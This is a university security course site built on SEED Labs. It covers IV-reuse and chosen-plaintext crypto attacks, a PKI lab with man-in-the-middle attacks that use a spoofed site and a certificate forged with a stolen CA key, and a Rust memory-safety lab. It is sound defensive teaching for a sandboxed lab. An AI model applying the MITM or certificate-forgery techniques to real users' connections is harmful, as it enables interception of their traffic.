Encrypt the same plaintext twice: once with two different IVs, and once with the same IV (keep the key fixed). Compare the ciphertexts.

Deliverable. The ciphertexts from both runs. What do you observe when the IV is reused versus changed, and why does this show an IV must never repeat under the same key?

Task 6.2: Reusing an IV — a Known-Plaintext Attack

Even if the plaintext never repeats, reusing an IV is dangerous. In OFB mode, suppose an attacker captures one plaintext/ciphertext pair (P1, C1) and a second ciphertext C2 encrypted with the same key and IV. They can recover P2 without the key. You are given:

P1: This is a known message!
C1: a469b1c502c1cab966965e50425438e1bb1b5f9037a4c159
C2: bf73bcd3509299d566c35b5d450337e1bb175f903fafc159

Recover P2. The key idea: in OFB the cipher turns the key+IV into a keystream that is simply XORed with the plaintext, and the same key+IV gives the same keystream. So P1 ⊕ C1 recovers that keystream, and XORing it into C2 gives P2. sample_code.py shows how to XOR ascii and hex strings in Python.

Deliverable. Your XOR code (or steps) and the recovered P2. Briefly: if OFB were replaced by CFB here, how much of P2 could you recover? (Answer only — no demo needed.)

Task 6.3 (Optional, 1 bonus point): A Predictable IV — Chosen-Plaintext Attack

A unique IV is not enough; for CBC it must also be unpredictable. This task uses the Docker container (the only task that does — dcbuild then dcup inside Labsetup, see the SEED manual). An oracle plays “Bob,” who encrypts a secret message that is either Yes or No with AES-128-CBC, and helpfully tells you the next IV he will use:

$ nc 10.9.0.80 3000

Because you know the next IV and can submit a chosen plaintext, you can craft an input that tests whether Bob’s secret was Yes or No. (Hint: CBC XORs the IV into the first plaintext block before encrypting. If you know both IVs, you can choose your plaintext so that your first block, after the IV is XORed in, equals what Bob’s first block was after his IV — a matching ciphertext block confirms the guess.)

Deliverable. The chosen plaintext you submitted, the oracle transcript, and your conclusion (Yes or No) with the reasoning that connects the two IVs to your crafted input.


Task 7 (Optional, 1 bonus point): Programming Using the Crypto Library

So far you have driven openssl from the command line. This task asks you to call the crypto library from your own program. You are given a plaintext, ciphertext, and IV, and must find the key by brute force over a word list:

Plaintext:  This is a top secret.
Ciphertext: 764aa26b55a4da654df6b19e4bce00f4ed05e09346fb0e762583cb7da2ac93a2
IV:         aabbccddeeff00998877665544332211
Cipher:     aes-128-cbc

The key is an English word shorter than 16 characters, padded to 16 bytes with # (0x23). Write a program that, for each word in words.txt, builds the candidate key, encrypts the plaintext, and checks whether the result matches the given ciphertext. Store the plaintext without a trailing newline:

$ echo -n "This is a top secret." > plaintext.txt

You may use C with OpenSSL’s EVP API (gcc ... -lcrypto) or Python’s crypto library — but you must call the library from code. Just running the openssl command earns no credit for this task.

Deliverable. Your program (key code with explanation) and the key you recovered. Explain how you padded each word to 16 bytes and how you detected the match.


Cleaning up

This lab makes no global changes to your VM — no relinked /bin/sh, no disabled ASLR, no Set-UID binaries. If you ran the optional Task 6.3 container, stop it:

$ dcdown      # alias for docker-compose down, run inside Labsetup

Delete any .bin/.bmp scratch files you generated.

Submission

Submit a single PDF containing, for each task: the commands you ran, a screenshot or transcript of what you observed, and an explanation of why it happened. For Task 1, state your recovered key; for Tasks 6.2 and 7, include your code with explanation. Listing code with no explanation will not receive credit.

Scoring. Tasks 1–5 and Tasks 6.1–6.2 are required. Task 6.3 and Task 7 are each worth 1 bonus point.

See Submitting a Lab Report for the expected structure.

Lab 5: Public-Key Infrastructure (PKI)

Adapted from the SEED Labs Public-Key Infrastructure (PKI) Lab (Ubuntu 20.04 edition) by Wenliang Du. See Attribution and License.

EnvironmentSEED Ubuntu 20.04 VM (setup) or any Ubuntu VM with Docker + docker compose, openssl, and Firefox. Tasks 4–6 use a browser, so you need a VM with a desktop. This lab runs on both x86-64 and ARM64 (Apple Silicon) — pick the setup that matches your VM (see Lab setup).
Fileslab5.tar.gz for x86-64 VMs, or lab5-arm.tar.gz for ARM64 / Apple Silicon VMs — the SEED Labsetup, repackaged for this course.
SubmissionOne PDF, structured as described in Submitting a Lab Report

Overview

Lab 4 showed how to keep data secret once two parties share a key. This lab answers the question it left open: when your browser receives a public key that claims to belong to your bank, how does it know the key really is the bank’s and not that of someone sitting in the middle?

Public-key cryptography by itself cannot answer that. The practical answer is the Public-Key Infrastructure (PKI): certificate authorities (CAs) vouch for the binding between a name and a public key by signing an X.509 certificate, and clients trust a small set of root CAs unconditionally. HTTPS, and the TLS protocol underneath it, are built on that trust.

In this lab you become a root CA, issue a certificate for your own web server, deploy it in Apache, and then see how PKI stops a man-in-the-middle (MITM) attack — and how completely it fails once a trusted CA’s private key is stolen.

The theme mirrors Lab 4: the cryptography (RSA, SHA-256) is never broken. Every attack in this lab works because of a trust decision — which CA a client believes, and whether the name on the certificate is the name it wanted.

Topics covered:

  • Public-key encryption and the Public-Key Infrastructure
  • Certificate Authorities (CAs), root CAs, and certificate signing requests (CSRs)
  • X.509 certificates and the Subject Alternative Name (SAN) extension
  • Apache, HTTP, and HTTPS
  • Man-in-the-middle attacks, and what a compromised CA makes possible

Background reading

  • Chapter 23 of Computer & Internet Security: A Hands-on Approach, 2nd/3rd edition, by Wenliang Du — https://www.handsonsecurity.net
  • man openssl-req, man openssl-ca, man openssl-x509, man config

Your server name

Wherever this document says www.bank32.com for your server, use your own server name, built from your last name and the current year — for example, a student named Smith uses:

www.smith2026.com

You do not need to own this domain. You map it to the container’s IP address with /etc/hosts, as shown below. Graders look for this name in your screenshots and certificates.


Lab setup: x86-64 or ARM64

SEED ships two versions of this lab’s Labsetup: one built on x86-64 Docker images, and one built on ARM64 images (the image tag ends in -arm). The files are otherwise identical, so every command in this lab is the same on both — only the download differs.

First, find out which architecture your VM is:

$ uname -m
uname -m printsYour VM isDownloadDocker image used
x86_64Intel/AMD (SEED VM on VirtualBox/VMware, department VM)lab5.tar.gzhandsonsecurity/seed-server:apache-php
aarch64ARM64 (UTM / VMware Fusion / Parallels on an Apple Silicon Mac)lab5-arm.tar.gzhandsonsecurity/seed-server:apache-php-arm

Don’t mix them. An x86 image on an ARM VM either refuses to start (exec format error) or crawls under emulation; an ARM image on an x86 VM fails the same way. If the container dies immediately, check uname -m against the tarball you downloaded.

Download and unpack the matching setup inside the VM:

mkdir -p ~/cs487/lab5 && cd ~/cs487/lab5

# x86-64 VM:
wget https://xiaoguang.wang/computer-security-labs/labs/files/lab5.tar.gz
tar xzf lab5.tar.gz

# ARM64 / Apple Silicon VM (instead of the two lines above):
wget https://xiaoguang.wang/computer-security-labs/labs/files/lab5-arm.tar.gz
tar xzf lab5-arm.tar.gz

cd Labsetup && ls

Either tarball unpacks to the same layout:

Labsetup/
├── docker-compose.yml     # one Apache web server container: www-10.9.0.80
├── image_www/             # Dockerfile, Apache site config, index pages
│   └── certs/             # the bank32 example certificate and key, and its CA
└── volumes/               # shared with the container at /volumes

Docker commands

The SEED VM defines these aliases in ~/.bashrc; run them from inside Labsetup:

$ dcbuild        # docker-compose build   -- build the image
$ dcup           # docker-compose up      -- start the container (add -d to detach)
$ dcdown         # docker-compose down    -- stop and remove the container
$ dockps         # docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>    # docker exec -it <id> /bin/bash  -- shell in a container

For docksh, the first few characters of the container ID are enough.

Not on the SEED VM? (Typical for an ARM VM you installed yourself.) Install Docker by following https://docs.docker.com/engine/install/ubuntu/ (this includes the Compose plugin), add yourself to the docker group (sudo usermod -aG docker $USER, then log out and back in), and add the aliases to ~/.bashrc. With Compose v2 the command is docker compose (a space, not a hyphen):

alias dcbuild='docker compose build'
alias dcup='docker compose up'
alias dcdown='docker compose down'
alias dockps='docker ps --format "{{.ID}} {{.Names}}"'
docksh() { docker exec -it "$1" /bin/bash; }

Starting the container

$ cd ~/cs487/lab5/Labsetup
$ dcbuild
$ dcup -d

The volumes/ folder is mounted at /volumes inside the container. Generate keys and certificates on the VM (Tasks 1–3), then copy what the web server needs into volumes/ (Task 4).

Map the server names to the web server container (10.9.0.80) by adding these lines to /etc/hosts on the VM (the bank32 entry is required for the built-in example):

10.9.0.80       www.bank32.com
10.9.0.80       www.smith2026.com

Firefox ignoring /etc/hosts? Tasks 4–6 redirect hostnames by editing /etc/hosts. Recent Firefox releases may resolve names with DNS over HTTPS, which can bypass that file. If Firefox reaches the real site instead of your container, turn DNS over HTTPS off (Settings → Privacy & Security → DNS over HTTPS → Off) and restart Firefox.


Task 1: Becoming a Certificate Authority (CA)

A Certificate Authority issues certificates: it signs a statement that a particular public key belongs to a particular name. Most certificates are signed by another CA; a root CA’s certificate is self-signed, ships preloaded in operating systems and browsers, and is trusted unconditionally. Rather than pay a commercial CA, you will become a root CA yourself.

Do Tasks 1–3 on the VM in a working directory of your choice, e.g. ~/cs487/lab5/ca/.

The configuration file. The openssl ca, req, and x509 commands read a configuration file, by default /usr/lib/ssl/openssl.cnf. Copy it into your working directory (do not edit the system copy):

$ cp /usr/lib/ssl/openssl.cnf myCA_openssl.cnf

Its [ CA_default ] section says where the CA keeps its state:

[ CA_default ]
dir             = ./demoCA          # Where everything is kept
certs           = $dir/certs        # Where the issued certs are kept
crl_dir         = $dir/crl          # Where the issued crl are kept
database        = $dir/index.txt    # database index file.
#unique_subject = no                # Set to 'no' to allow creation of
                                    # several certs with same subject.
new_certs_dir   = $dir/newcerts     # default place for new certs.
serial          = $dir/serial       # The current serial number

In your copy, uncomment the unique_subject line — you will very likely issue several certificates with the same subject in this lab. Then create the directories and files it expects: demoCA/, demoCA/certs/, demoCA/crl/, demoCA/newcerts/, an empty demoCA/index.txt, and demoCA/serial containing a single number such as 1000.

Create the CA. Generate the CA’s key pair and self-signed certificate. -subj supplies the subject and -passout the password that protects ca.key, so you are not prompted:

$ openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 \
      -keyout ca.key -out ca.crt \
      -subj "/CN=www.modelCA.com/O=Model CA LTD./C=US" \
      -passout pass:dees

ca.key holds the CA’s (encrypted) private key and ca.crt its public-key certificate. You will need the password every time the CA signs something. Decode both:

$ openssl x509 -in ca.crt -text -noout
$ openssl rsa  -in ca.key -text -noout

Deliverable. The commands you ran and the decoded output, annotated to answer:

  1. What part of the certificate shows that it is a CA’s certificate?
  2. What part shows that it is self-signed?
  3. RSA uses a public exponent e, a private exponent d, a modulus n, and two secret primes p and q with n = pq. Identify each of these values in your certificate and key files (truncated hex is fine). Which of them appear in the certificate, and why must the others never appear there?

Task 2: Generating a Certificate Signing Request (CSR)

Your company (www.smith2026.com) now wants a certificate from the CA. It first creates a Certificate Signing Request containing its public key and identity; the CA checks the identity and signs. The command is almost the one from Task 1 — without -x509 it produces a request instead of a self-signed certificate:

$ openssl req -newkey rsa:2048 -sha256 \
      -keyout server.key -out server.csr \
      -subj "/CN=www.smith2026.com/O=Smith2026 Inc./C=US" \
      -passout pass:dees
$ openssl req -in server.csr -text -noout
$ openssl rsa -in server.key -text -noout

Alternative names. Many sites answer to several names (example.com, www.example.com, …), but browsers insist that the name they asked for appears in the certificate. The X.509 Subject Alternative Name (SAN) extension lists every valid name. Add it to the request on the command line:

-addext "subjectAltName = DNS:www.smith2026.com, \
                          DNS:www.smith2026A.com, \
                          DNS:www.smith2026B.com"

The SAN list must repeat the common name; when a SAN is present, clients ignore the CN. Regenerate your CSR with two alternative names in addition to your server name — you will use them in Task 4.

Deliverable. The final openssl req command and the decoded CSR, with the subject and the Subject Alternative Name extension highlighted. In one or two sentences: what in the CSR proves that whoever made it holds the matching private key?


Task 3: Generating a Certificate for Your Server

The CA turns the CSR into a certificate by signing it:

$ openssl ca -config myCA_openssl.cnf -policy policy_anything \
      -md sha256 -days 3650 \
      -in server.csr -out server.crt -batch \
      -cert ca.crt -keyfile ca.key

policy_anything lets the request’s subject differ from the CA’s (the default policy requires some fields to match).

Copying extensions. For safety, openssl ca does not copy extensions from the request into the certificate by default — otherwise a requester could ask for, say, CA powers. To keep your SAN, uncomment this line in myCA_openssl.cnf and sign again:

# Extension copying option: use with caution.
copy_extensions = copy

Then check the result:

$ openssl x509 -in server.crt -text -noout

Deliverable. The signing command and the decoded server.crt, showing the issuer, the subject, and the alternative names. Show what happens to the SAN with and without copy_extensions = copy, and explain why copying extensions is off by default (“use with caution”).


Task 4: Deploying the Certificate in an Apache HTTPS Website

Now put the certificate to work. The container already runs an Apache-based HTTPS site for bank32.com, configured in /etc/apache2/sites-available/bank32_apache_ssl.conf:

<VirtualHost *:443>
    DocumentRoot /var/www/bank32
    ServerName www.bank32.com
    ServerAlias www.bank32A.com
    ServerAlias www.bank32B.com
    DirectoryIndex index.html
    SSLEngine On
    SSLCertificateFile    /certs/bank32.crt     # the server certificate
    SSLCertificateKeyFile /certs/bank32.key     # the server private key
</VirtualHost>

ServerName and ServerAlias are the names this site answers to; DocumentRoot is where its pages live. The SSL module and this site were already enabled when the image was built (a2enmod ssl, a2ensite bank32_apache_ssl).

Apache is not started automatically, because it must ask for the password that unlocks the private key. Get a shell in the container and start it (the bank32 key’s password is dees):

$ dockps
$ docksh <id>                 # the www-10.9.0.80 container
# service apache2 start       # also: stop, restart

Following this example, set up an HTTPS site for your server name:

  1. Copy your server.crt and server.key into Labsetup/volumes/ on the VM; in the container they appear under /volumes.
  2. In the container, create a document root with a page that shows your name, and a new VirtualHost file in /etc/apache2/sites-available/ with your ServerName, your two ServerAlias entries, and your certificate and key.
  3. Enable it with a2ensite <your-file-name> and restart Apache.
  4. Add the alias names to the VM’s /etc/hosts too.

Container changes are temporary. Files you create inside the container disappear when you dcdown. Keep your VirtualHost file and page in /volumes and copy them in, so you can recreate the site quickly.

Browse it. Point Firefox on the VM at https://www.smith2026.com (note https). It will most likely refuse. Work out why, then fix it. The fix involves importing a certificate into Firefox; we deliberately do not say which one. To import, open about:preferences#privacy, scroll to Certificates → View Certificates…, choose the Authorities tab, click Import…, and tick “Trust this CA to identify websites.”

Deliverable. The steps you took and the VirtualHost entry you added. A screenshot of the failed first visit with your explanation of the error, then screenshots of your site loading successfully under your server name and under each of your two alternative names. Which certificate did you import, and why that one and not server.crt?


Task 5: Launching a Man-in-the-Middle Attack

Now see PKI defeat an attacker. In a MITM attack, Mallory sits between Alice and example.com and swaps the server’s public key for her own; if Alice accepts it, Mallory can read and relay everything.

              Mallory's public key            Server's public key
  Alice  <---------------------------> Mallory <-------------------> example.com
               [secret]                              [secret]

Pick a popular target site — a bank or a social network — rather than example.com; the example below uses www.example.com.

  1. Set up the malicious site. Following Task 4, add a VirtualHost to the container’s Apache whose ServerName is the target (www.example.com). You cannot get a real certificate for that name, so reuse your own server’s certificate and key from Task 4. Restart Apache.

  2. Become the man in the middle. Real attackers hijack routing or poison DNS. Simulate the result of a DNS attack by adding this line to the victim’s (the VM’s) /etc/hosts:

    10.9.0.80       www.example.com
    
  3. Browse the target in Firefox and see what happens.

Deliverable. Your VirtualHost entry and a screenshot of what Firefox shows. Explain exactly which check failed and why — the browser trusts your CA from Task 4, so why is that not enough? Does Firefox offer to let the user continue? (If your target site uses HSTS, note the difference.)


Task 6: A MITM Attack with a Compromised CA

Assume now that an attacker has stolen the private key of the root CA you created in Task 1. The attacker can sign a certificate for any name, and every browser that trusts that CA will accept it.

Design and run an experiment showing that, with the stolen CA key, the MITM attack from Task 5 succeeds: the victim browses to the target site, lands on the attacker’s server, and Firefox shows no warning at all. You may reuse the Task 5 setup.

Deliverable. Your experiment design, the commands you used to create the forged certificate, the updated VirtualHost, and a screenshot of Firefox displaying the fake site for the target name with no warning (open the padlock to show who issued the certificate). Then explain, in a short paragraph, why the security of every HTTPS site depends on every root CA your browser trusts.


Cleaning up

This lab changes your VM in ways you must undo:

  • Remove your CA from Firefox: about:preferences#privacy → View Certificates → Authorities → select your CA (e.g. “Model CA LTD.”) → Delete or Distrust. Leaving a CA whose private key is sitting in your home directory trusted in your browser is exactly the vulnerability you exploited in Task 6.
  • Remove every line you added to /etc/hosts on the VM (www.bank32.com, your server names, and the target site).
  • Stop the container: dcdown in Labsetup.
  • If you turned off DNS over HTTPS in Firefox only for this lab, you may turn it back on.

Submission

Submit a single PDF containing, for each task: the commands you ran, screenshots or transcripts of what you observed, and an explanation of why it happened. Your server name (last name + year) must appear in your certificates and screenshots. Listing commands or configuration with no explanation will not receive credit.

Scoring. Tasks 1–6 are all required.

See Submitting a Lab Report for the expected structure.

Optional Lab: Rust Memory Safety

Expect it to take about 30-60 minutes.

EnvironmentAny machine with Rust 1.85 or newer (macOS, Linux, WSL, and Apple Silicon all work — no VM needed). The Rust Playground works for Parts A and C.
Filesrust-lab.tar.gz — a small Cargo project with three broken programs, a thread example, and a library with unit tests
SubmissionOne PDF, structured as described in Submitting a Lab Report
Points7 total — Part A: 3, Part B: 2, Part C: 2

Overview

Labs 1–3 attacked C programs: the bugs were a missing bounds check, a pointer that outlived its object, or user input that became a format string. In lecture we saw that most of these memory-corruption bugs become compile errors in Rust. The compiler tracks who owns each value and how long every reference lives, and it refuses to build a program in which a reference could outlive its data, alias a value that is being mutated, or be shared between threads unsafely.

In this lab you will trigger those errors yourself, read what the compiler is telling you, and fix the programs. Then you will write two small functions that handle untrusted input — an integer-overflow allocation size and the Heartbleed length field — without crashing, and finally make a multi-threaded counter compile and count correctly.

Topics covered:

  • Ownership and moves, borrowing, and lifetimes
  • How borrow-checker errors map to C bug classes (use-after-free, dangling pointers, iterator invalidation, …)
  • Checked integer arithmetic and bounds-checked slicing on untrusted input
  • Send/Sync, Arc, and Mutex: why data races are compile errors
  • What unsafe does — and does not — turn off

Background reading

Rules for every part

  • No unsafe. Every file starts with #![forbid(unsafe_code)]; leave it there.
  • No .clone() in Part A. Copying the data makes the error go away without teaching you anything.
  • Keep each program’s printed output exactly as shown in the comment next to its println!.
  • Make the smallest change that works. A good fix is usually one or two lines.

Before you begin

Install Rust from https://rustup.rs if you do not have it, and check the version (the project uses the 2024 edition, which needs 1.85 or newer; run rustup update if yours is older):

$ rustc --version

Download the lab files and unpack them:

mkdir -p ~/cs487/rust-lab && cd ~/cs487/rust-lab
wget https://xiaoguang.wang/computer-security-labs/labs/files/rust-lab.tar.gz
# (no wget on macOS? use: curl -O <same URL>)
tar xzf rust-lab.tar.gz
cd Labsetup && ls

You should see:

Cargo.toml              # the package manifest
src/lib.rs              # Part B: two functions to implement, plus 6 unit tests
src/bin/a1_moved.rs     # Part A1
src/bin/a2_invalidation.rs
src/bin/a3_dangling.rs
src/bin/c_counter.rs    # Part C

Try building the first program:

$ cargo build --bin a1_moved

You should see a compile error. That is expected: Parts A and C start broken, and the error is the thing you are studying.

Note on cargo test. Plain cargo test compiles every program in the package, including the broken ones, so it fails until Parts A and C are fixed. While working on Part B, use cargo test --lib, which builds only src/lib.rs.


Part A: Fixing the Borrow Checker

Each of the three programs below fails to compile. Each one is the Rust version of a classic C memory bug; in C it would compile without complaint and misbehave at run time.

FileRun with
src/bin/a1_moved.rscargo run --bin a1_moved
src/bin/a2_invalidation.rscargo run --bin a2_invalidation
src/bin/a3_dangling.rscargo run --bin a3_dangling

For each program:

  1. Build it and read the whole error message, not just the first line. Rust points at two places: where the problem starts (a move, a borrow, a scope ending) and where it bites. Note the error code, e.g. E0382.
  2. Make the smallest change that makes it compile and print the expected output. Respect the per-file constraints in the comments at the top (no .clone(); in a3_dangling.rs, keep longest_word unchanged).
  3. Decide which C bug class the error stopped: use-after-free, double free, dangling pointer (to a stack variable), iterator invalidation, …

Hint. For A1, ask who owns words after the call to total_len, and whether total_len actually needs ownership. For A2, think about what push may do to the vector’s heap buffer, and what best points into. For A3, the reference is fine — the thing it refers to is not.

Deliverable (3 points — 1 per program). For each of the three programs:

  • The error code and the compiler’s error message (paste it as text; the lines with ^^^ markers are enough).
  • Your fix, shown as the changed line(s) of code (before and after).
  • The program’s output after the fix.
  • The C bug class the error prevented, and two or three sentences explaining what would go wrong at run time if the equivalent C program ran. Be concrete: which memory is accessed after it is no longer valid, and why.

A summary table like the one below is a good way to start this section, but it does not replace the explanations.

ProgramError codeYour fix (one line)C bug it prevents
a1_moved
a2_invalidation
a3_dangling

Understanding check. In A2, the equivalent C++ program (std::vector, a pointer or iterator to the max element, then push_back) often appears to work. Why does it sometimes work and sometimes print garbage, and why is “sometimes works” the dangerous case for security?


Part B: Handling Untrusted Input

Memory safety is not only about pointers. Two of the most famous C vulnerabilities came from trusting a number the attacker controlled:

  • Integer overflow in an allocation size. malloc(count * elem_size + HEADER) wraps around silently when the product is too large, so the program allocates a tiny buffer and then writes count elements into it — a heap overflow.
  • Heartbleed (CVE-2014-0160). An OpenSSL heartbeat message carried a length field and a payload. The server copied length bytes back to the client without checking that the payload was really that long, leaking up to 64 KB of server memory — private keys included — per request.

Open src/lib.rs and replace the two todo!()s:

  • alloc_size(count, elem_size) returns Some(count * elem_size + HEADER), or None if any step overflows.
  • parse_payload(packet) treats the first byte as a length n and returns the n-byte payload that follows it, or None if the packet is empty or holds fewer than n bytes after the length byte. Bytes after the payload are ignored.

Neither function may panic on any input — a panic on attacker input is a denial-of-service bug, even if it is not memory corruption. Check your work with:

$ cargo test --lib

All 6 tests must pass.

Hint. Look at checked_mul and checked_add on integers, and split_first and get on slices. The ? operator works on Option too: x? returns None from the function early if x is None. Each function fits in one or two lines.

Deliverable (2 points).

1 point — working code:

  • Your two function bodies, as text.
  • The output of cargo test --lib showing 6 passed.

1 point — explanations:

  • For alloc_size: in the test alloc_size(usize::MAX / 4, 4), what value would the C expression count * elem_size + HEADER produce on a 64-bit machine, and what would happen next if a program malloced that size and wrote count elements?
  • For parse_payload: explain what the C Heartbleed code did with the input from the test payload_heartbleed ([200, 'b', 'y', 'e']) and what your Rust version does instead.
  • Suppose you had written &rest[..n as usize] instead of using get. What happens on the Heartbleed input? Explain why that is still memory-safe, and why it is still a bug for a server that handles untrusted packets.

Part C: Sharing State Between Threads

src/bin/c_counter.rs starts 8 threads that each increment one shared counter 1000 times. It uses Rc<RefCell<i32>> — the usual single-threaded way to share a mutable value — and it does not compile.

$ cargo run --bin c_counter

Change the types so that it compiles and always prints 8000. Keep the 8 threads and the loop structure; you will need to change the use lines and a few method calls to match the new types.

Hint. Look for the thread-safe counterpart of Rc and the thread-safe counterpart of RefCell in std::sync. Read the error message carefully: it names the trait that is missing and the type that lacks it.

Run the fixed program several times to convince yourself the answer is always 8000.

Deliverable (2 points).

  • The error code and the key lines of the compiler’s message.
  • Your changed lines (before and after), and the output of a few runs.
  • Why is Rc rejected here? Say what Rc does internally that would go wrong if two threads did it at once.
  • Why is RefCell not enough, even inside an Arc? Say what RefCell checks at run time and why that check itself is not safe across threads.
  • In one or two sentences: what would the equivalent C program (8 pthreads doing counter++ on a shared int with no lock) print, and why?

Final check

Before writing up, confirm that everything builds and passes together:

$ cargo build --bins && cargo test

Both commands must finish with no errors. Include this output in your report.

Cleaning up

cargo clean deletes the target/ build directory (a few hundred MB). You can delete the whole Labsetup/ folder once your report is submitted.

Submission

Submit a single PDF report. Do not upload your source files, a zip of the project, or a separate answers file — the report is the only thing that is graded, so everything must be in it:

CS487 Optional Lab: Rust Memory Safety — <Your Name>, <Your NetID>
  1. Environment
     - OS, and the output of `rustc --version`
  2. Part A: Fixing the Borrow Checker
     - Summary table, then A1, A2, A3: error, fix, output, explanation
  3. Part B: Handling Untrusted Input
     - Function bodies, test output, answers
  4. Part C: Sharing State Between Threads
     - Error, fix, output, answers
  5. Final check
     - Output of `cargo build --bins && cargo test`

Add screenshots of important code and execution outputs. Show only the lines you changed, not whole files. As in every lab, a fix with no explanation will not receive credit — the explanation of what the C version would have done is the point of the exercise.

See Submitting a Lab Report for general formatting guidance.

Submitting a Lab Report

Every CS487 lab is submitted as a single PDF.

Required structure

CS487 Lab N — <Your Name>, <Your NetID>
  1. Environment
     - VM image and version, hypervisor, anything non-standard about your setup
  2. Task 1: <task title>
     - Commands run
     - Observation (screenshot or transcript)
     - Explanation
  3. Task 2: ...
  ...
  N. Reflection (optional, but read)
     - What surprised you? What is still unclear?

Use the task titles exactly as they appear in the lab. Graders read many reports; matching headings makes it obvious that nothing is missing.

Screenshots

  • Capture the whole terminal window, including the prompt. The prompt shows which user you are, and for these labs “which user you are” is usually the entire point.
  • Crop to the relevant region, but never crop out the command itself.
  • Make the text legible at 100% zoom. A screenshot nobody can read is not evidence.

Code snippets

  • Include the code you wrote or changed, not the entire file, unless the file is short.
  • Paste code as text in a monospace font, not as a screenshot, so it can be copied and checked.
  • Reference the line you are talking about: “the setuid(getuid()) call on line 21 revokes the privilege, but the descriptor opened on line 12 survives.”

Explanations

The single most common way to lose points is to describe the output instead of explaining it.

Weak: “After exporting LD_PRELOAD and running the Set-UID program, it printed I am not sleeping! when run by root but not by a normal user.”

Strong: “The dynamic linker ignores LD_PRELOAD when the process is Set-UID and the real and effective UIDs differ, because honoring it would let any user inject code into a privileged process. When root runs the program the real and effective UIDs are both 0, so there is no privilege boundary to protect and the variable is honored — which is why the override only appears in that one case.”

Honesty

If a task did not work, say so, and describe what you tried. A report that says “Task 6 did not produce a root shell; here is what I observed and here is my best hypothesis” earns substantial partial credit. A report that claims a result the screenshots do not show earns none, and is treated as an integrity issue.

Paper Reading Report Guide

The goal of the paper reading report is to demonstrate that you understand the paper’s problem, key insight, technical approach, and evidence, rather than simply summarize its content.

Your report should normally be 1–2 pages. Answer the following questions concisely and in your own words.

1. Problem and Motivation

What problem does the paper address? Why is this problem important or difficult?

Explain the problem in your own words rather than copying or closely paraphrasing the abstract or introduction.

2. Key Idea

What is the paper’s main idea or insight?

Explain the key idea in 2–4 sentences, as if you were explaining the paper to a classmate who has not read it.

3. Technical Approach

How does the proposed system or technique work?

Identify the major components or steps and explain how they work together. Focus on the ideas necessary to understand the paper rather than low-level implementation details.

4. Concrete Example

Give one concrete example that illustrates how the proposed technique works.

You may use an example from the paper or construct your own. Be specific enough to demonstrate that you understand the mechanism.

5. Evaluation and Evidence

Choose one important experiment, figure, or table from the paper and explain:

  • What question is the experiment trying to answer?
  • What is being compared or measured?
  • What does the result show?
  • How does this result support, or fail to fully support, the paper’s claims?

6. Limitations

Identify one important limitation, assumption, or weakness of the work.

Explain why it matters. Avoid generic comments such as “more experiments are needed.”

7. Your Idea

If you were continuing this research, what is one specific improvement, extension, or new research question you would pursue?

Explain how your idea relates to the paper and how you might evaluate whether it works.

What You Should Be Able to Explain

After completing the report, you should be able to explain the following without referring to your report:

Problem → Key Insight → Approach → Evidence → Limitation

You may be asked in an in-class quiz to explain specific design choices, algorithms, examples, figures, or experimental results from the paper.

Attribution and License

SEED Labs

The lab exercises on this site are adapted from the SEED Labs project:

Copyright © 2006–2016 by Wenliang Du.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

Original lab materials, VM images, and setup files: https://seedsecuritylabs.org/

Lab 1 on this site is adapted from Environment Variable and Set-UID Program Lab (SEED Labs, Ubuntu 20.04 edition). Lab 2 is adapted from Return-to-libc Attack Lab (SEED Labs, Ubuntu 20.04 edition). Lab 5 is adapted from Public-Key Infrastructure (PKI) Lab (SEED Labs, Ubuntu 20.04 edition), including its x86-64 and ARM64 setup files. In each case the task structure and code listings are Prof. Du’s; the UIC-specific setup notes, deliverables, grading criteria, and “understanding checks” are additions for CS487.

SEED Labs is supported by the US National Science Foundation. If you find the labs valuable, the accompanying textbook is Computer & Internet Security: A Hands-on Approach by Wenliang Du (https://www.handsonsecurity.net).

This site

The CS487-specific material on this site is © Xiaoguang Wang and is released under the same CC BY-NC-SA 4.0 license, as required by the ShareAlike term.

Built with mdBook.